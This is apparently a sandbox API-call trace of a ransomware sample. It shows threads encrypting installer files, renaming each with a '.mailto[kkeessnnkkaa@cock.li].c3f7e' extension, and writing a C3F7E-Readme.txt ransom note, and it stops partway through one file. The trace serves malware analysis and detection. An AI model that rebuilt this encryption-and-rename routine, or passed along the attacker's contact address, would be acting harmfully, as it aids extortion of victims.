	[0073.602] WriteFile (in: hFile=0x66c, lpBuffer=0x46ce870*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x638fdb8, lpOverlapped=0x0 | out: lpBuffer=0x46ce870*, lpNumberOfBytesWritten=0x638fdb8*=0xc800, lpOverlapped=0x0) returned 1
	[0073.605] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46ce870) returned 1
	[0073.605] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733c78
	[0073.605] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.605] WriteFile (in: hFile=0x66c, lpBuffer=0x2d7c7d8*, nNumberOfBytesToWrite=0x153, lpNumberOfBytesWritten=0x638fe60, lpOverlapped=0x0 | out: lpBuffer=0x2d7c7d8*, lpNumberOfBytesWritten=0x638fe60*=0x153, lpOverlapped=0x0) returned 1
	[0073.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c7d8) returned 1
	[0073.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bff8) returned 1
	[0073.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773a8) returned 1
	[0073.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bee0) returned 1
	[0073.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733c78) returned 1
	[0073.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77358) returned 1
	[0073.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77420) returned 1
	[0073.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773f8) returned 1
	[0073.607] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x47352a0
	[0073.607] wcscpy (in: _Dest=0x47352a0, _Source="C:\\588bce7c90097ed212\\ParameterInfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned="C:\\588bce7c90097ed212\\ParameterInfo.xml"
	[0073.607] wcscat (in: _Dest=0x47352a0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0073.607] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x638fe18, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0073.607] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2d7d3f8
	[0073.612] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d3f8) returned 1
	[0073.612] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f7a8) returned 1
	[0073.612] NtQueryInformationFile (in: FileHandle=0x66c, IoStatusBlock=0x638fe24, FileInformation=0x638fdfc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x638fe24, FileInformation=0x638fdfc) returned 0x0
	[0073.612] NtSetInformationFile (FileHandle=0x66c, IoStatusBlock=0x638fe24, FileInformation=0x638fdfc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0073.613] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47352a0) returned 1
	[0073.613] FlushFileBuffers (hFile=0x66c) returned 1
	[0073.614] CloseHandle (hObject=0x66c) returned 1
	[0073.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x4732af8
	[0073.615] wcscpy (in: _Dest=0x4732af8, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.615] wcscat (in: _Dest=0x4732af8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\C3F7E-Readme.txt"
	[0073.615] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\c3f7e-readme.txt")) returned 0xffffffff
	[0073.615] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c
	[0073.615] WriteFile (in: hFile=0x66c, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x638fe20, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x638fe20*=0x6f6, lpOverlapped=0x0) returned 1
	[0073.616] CloseHandle (hObject=0x66c) returned 1
	[0073.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732af8) returned 1
	[0073.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d549b8) returned 1

Thread:
	id = 75
	os_tid = 0x1304

	[0073.561] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80
	[0073.571] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd", dwFileAttributes=0x20) returned 1
	[0073.572] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x670
	[0073.575] GetFileSizeEx (in: hFile=0x670, lpFileSize=0x640fa38 | out: lpFileSize=0x640fa38*=30120) returned 1
	[0073.575] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x75a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.576] ReadFile (in: hFile=0x670, lpBuffer=0x640f9bc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x640f9b8, lpOverlapped=0x0 | out: lpBuffer=0x640f9bc*, lpNumberOfBytesRead=0x640f9b8*=0x4, lpOverlapped=0x0) returned 1
	[0073.588] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.588] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77470
	[0073.588] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0073.589] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774c0
	[0073.589] NtQuerySystemTime (in: CurrentTime=0x640f998 | out: CurrentTime=0x640f998*=132251868003243776) returned 0x0
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0xd0c1e3c1
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x42a0b965
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x51cf5fdd
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x6cd806ae
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x7e4af525
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0xe60deb28
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0xa8bb25bb
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0xb17342e9
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x977c8948
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x381d8036
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x300a2df1
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x989119d2
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0xc5236d47
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x48a2d033
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0xc342f769
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0xd3f30db3
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0xe5c8f5d0
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x45cb4769
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x84e2f10e
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x863d7474
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x70450bca
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x974fb95
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x8c3939b6
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x813c35b2
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x5bec59ca
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0xb6b7e968
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0xfa8e5c15
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x4d02f623
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x6c674057
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x149acc62
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0x9fcfbdb3
	[0073.589] RtlRandom (in: Seed=0x640f9a4 | out: Seed=0x640f9a4) returned 0xfd4035e8
	[0073.599] ReadFile (in: hFile=0x670, lpBuffer=0x46b5860, nNumberOfBytesToRead=0x75a8, lpNumberOfBytesRead=0x640f994, lpOverlapped=0x0 | out: lpBuffer=0x46b5860*, lpNumberOfBytesRead=0x640f994*=0x75a8, lpOverlapped=0x0) returned 1
	[0073.604] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.604] WriteFile (in: hFile=0x670, lpBuffer=0x46c2068*, nNumberOfBytesToWrite=0x75a8, lpNumberOfBytesWritten=0x640f990, lpOverlapped=0x0 | out: lpBuffer=0x46c2068*, lpNumberOfBytesWritten=0x640f990*=0x75a8, lpOverlapped=0x0) returned 1
	[0076.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34758
	[0076.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34640
	[0076.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34640) returned 1
	[0076.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46c2068) returned 1
	[0076.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46b5860) returned 1
	[0076.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733280) returned 1
	[0076.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73780) returned 1
	[0076.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x23) returned 0x2d77e70
	[0076.469] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.469] WriteFile (in: hFile=0x670, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x640f9f8, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x640f9f8*=0x107, lpOverlapped=0x0) returned 1
	[0076.473] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0076.473] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d782f0) returned 1
	[0076.473] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0076.473] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77e70) returned 1
	[0076.473] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34758) returned 1
	[0076.473] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0076.473] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0076.473] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6e250) returned 1
	[0076.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x2d79390
	[0076.473] wcscpy (in: _Dest=0x2d79390, _Source="C:\\588bce7c90097ed212\\SetupUi.xsd" | out: _Dest="C:\\588bce7c90097ed212\\SetupUi.xsd") returned="C:\\588bce7c90097ed212\\SetupUi.xsd"
	[0076.473] wcscat (in: _Dest=0x2d79390, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.473] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x640f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f5b0
	[0076.474] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f5b0) returned 1
	[0076.474] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2adf8) returned 1
	[0076.474] NtQueryInformationFile (in: FileHandle=0x670, IoStatusBlock=0x640f9bc, FileInformation=0x640f994, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x640f9bc, FileInformation=0x640f994) returned 0x0
	[0076.474] NtSetInformationFile (FileHandle=0x670, IoStatusBlock=0x640f9bc, FileInformation=0x640f994, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79390) returned 1
	[0076.475] FlushFileBuffers (hFile=0x670) returned 1
	[0076.477] CloseHandle (hObject=0x670) returned 1
	[0076.478] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d85bd8
	[0076.478] wcscpy (in: _Dest=0x2d85bd8, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0076.478] wcscat (in: _Dest=0x2d85bd8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\C3F7E-Readme.txt"
	[0076.478] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\c3f7e-readme.txt")) returned 0x20
	[0076.478] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85bd8) returned 1
	[0076.478] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d64a88) returned 1

Thread:
	id = 76
	os_tid = 0x1318

	[0073.618] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80
	[0073.618] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp", dwFileAttributes=0x20) returned 1
	[0073.618] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x66c
	[0073.618] GetFileSizeEx (in: hFile=0x66c, lpFileSize=0x648fa7c | out: lpFileSize=0x648fa7c*=41080) returned 1
	[0073.619] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0xa074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.619] ReadFile (in: hFile=0x66c, lpBuffer=0x648fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x648f9fc, lpOverlapped=0x0 | out: lpBuffer=0x648fa00*, lpNumberOfBytesRead=0x648f9fc*=0x4, lpOverlapped=0x0) returned 1
	[0073.620] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.620] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77358
	[0073.620] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773a8
	[0073.620] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77268
	[0073.620] NtQuerySystemTime (in: CurrentTime=0x648f9dc | out: CurrentTime=0x648f9dc*=132251868003543864) returned 0x0
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0x2eacabb
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xa049842a
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xb21ad330
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0x5bde29a2
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0x65116016
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0x813bcdb8
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0x84a566eb
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xd494073f
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0x79cb88c1
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xa37878f8
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0x7002dee0
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xecdf281f
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xb3f68f32
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xa13ffaa
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xd32ca567
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xadfcc6ef
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xbaf926ee
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0x6f46282e
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xd79a2c5d
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0x3e04032c
	[0073.620] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xd46a4bcc
	[0073.621] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xdecdaf98
	[0073.621] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xd416002c
	[0073.621] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xe2664879
	[0073.621] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0x6bb0cc34
	[0073.621] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xf5f4a6a7
	[0073.621] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0x70e6f13a
	[0073.621] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0x4bd68766
	[0073.621] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0x81d368d1
	[0073.621] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xb0223403
	[0073.621] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0xc6c3532e
	[0073.621] RtlRandom (in: Seed=0x648f9e8 | out: Seed=0x648f9e8) returned 0x45f314f0
	[0073.630] ReadFile (in: hFile=0x66c, lpBuffer=0x46a9058, nNumberOfBytesToRead=0xa078, lpNumberOfBytesRead=0x648f9d8, lpOverlapped=0x0 | out: lpBuffer=0x46a9058*, lpNumberOfBytesRead=0x648f9d8*=0xa078, lpOverlapped=0x0) returned 1
	[0073.633] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.633] WriteFile (in: hFile=0x66c, lpBuffer=0x46ce870*, nNumberOfBytesToWrite=0xa078, lpNumberOfBytesWritten=0x648f9d4, lpOverlapped=0x0 | out: lpBuffer=0x46ce870*, lpNumberOfBytesWritten=0x648f9d4*=0xa078, lpOverlapped=0x0) returned 1
	[0076.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34528
	[0076.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34708
	[0076.518] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34708) returned 1
	[0076.518] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46ce870) returned 1
	[0076.520] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a9058) returned 1
	[0076.520] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732b78) returned 1
	[0076.520] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73030) returned 1
	[0076.520] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2d) returned 0x2d7c068
	[0076.520] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.521] WriteFile (in: hFile=0x66c, lpBuffer=0x2d89690*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x648fa3c, lpOverlapped=0x0 | out: lpBuffer=0x2d89690*, lpNumberOfBytesWritten=0x648fa3c*=0x111, lpOverlapped=0x0) returned 1
	[0076.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89690) returned 1
	[0076.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c228) returned 1
	[0076.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34618) returned 1
	[0076.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c068) returned 1
	[0076.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0076.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773a8) returned 1
	[0076.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773f8) returned 1
	[0076.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77470) returned 1
	[0076.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x2e2adf8
	[0076.522] wcscpy (in: _Dest=0x2e2adf8, _Source="C:\\588bce7c90097ed212\\SplashScreen.bmp" | out: _Dest="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned="C:\\588bce7c90097ed212\\SplashScreen.bmp"
	[0076.522] wcscat (in: _Dest=0x2e2adf8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.522] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x648f9f4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2d7d060
	[0076.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d060) returned 1
	[0076.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f268) returned 1
	[0076.523] NtQueryInformationFile (in: FileHandle=0x66c, IoStatusBlock=0x648fa00, FileInformation=0x648f9d8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x648fa00, FileInformation=0x648f9d8) returned 0x0
	[0076.523] NtSetInformationFile (FileHandle=0x66c, IoStatusBlock=0x648fa00, FileInformation=0x648f9d8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.530] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2adf8) returned 1
	[0076.531] FlushFileBuffers (hFile=0x66c) returned 1
	[0076.533] CloseHandle (hObject=0x66c) returned 1
	[0076.537] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d85a78
	[0076.537] wcscpy (in: _Dest=0x2d85a78, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0076.537] wcscat (in: _Dest=0x2d85a78, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\C3F7E-Readme.txt"
	[0076.537] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\c3f7e-readme.txt")) returned 0x20
	[0076.537] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85a78) returned 1
	[0076.537] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d54330) returned 1

Thread:
	id = 77
	os_tid = 0x130c

	[0073.631] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80
	[0073.637] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml", dwFileAttributes=0x20) returned 1
	[0073.637] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x674
